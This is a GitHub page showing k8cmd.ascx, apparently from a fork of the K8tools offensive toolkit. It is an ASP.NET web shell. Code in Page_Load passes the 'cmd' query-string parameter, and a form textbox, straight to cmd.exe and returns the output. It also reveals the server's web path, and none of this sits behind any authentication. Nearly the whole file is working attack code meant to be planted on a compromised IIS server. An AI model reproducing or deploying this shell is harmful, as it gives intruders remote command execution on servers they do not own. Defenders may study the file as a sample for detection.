forked from k8gege/K8tools
-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathk8cmd.ascx
43 lines (43 loc) · 1.67 KB
/
k8cmd.ascx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<%@ Control Language="C#" ClassName="config" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Page_Load(object sender, EventArgs e)
{
txt_WebPath.Text = Server.MapPath(".");
if (Request.QueryString.Count != 0)
{
//Response.Write(Request.QueryString["cmd"].ToString());
//Request.QueryString["cmd"].ToString();
Response.Write(ExcuteCmd(Request.QueryString["cmd"].ToString()));
}
}
string ExcuteCmd(string arg)
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c " + arg;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
return s;
}
void cmdExe_Click(object sender, System.EventArgs e)
{
cmdResult.Text = cmdResult.Text + Server.HtmlEncode(ExcuteCmd(txt_cmd.Text));
}
</script>
<HTML><body ><form id="cmd" method="post" runat="server">
<br />
WebPath:
<asp:TextBox ID="txt_WebPath" runat="server" Width="579px"></asp:TextBox>
<br />
<br />
<asp:Label ID="Label2" runat="server" Text="Commond: "></asp:Label>
<asp:TextBox ID="txt_cmd" runat="server" Width="581px"></asp:TextBox>
<asp:Button ID="Button1" runat="server" onclick="cmdExe_Click" Text="Execute" /><br /><br />
<asp:TextBox ID="cmdResult" runat="server" Height="662px" Width="798px" TextMode="MultiLine"></asp:TextBox>
</form></body></HTML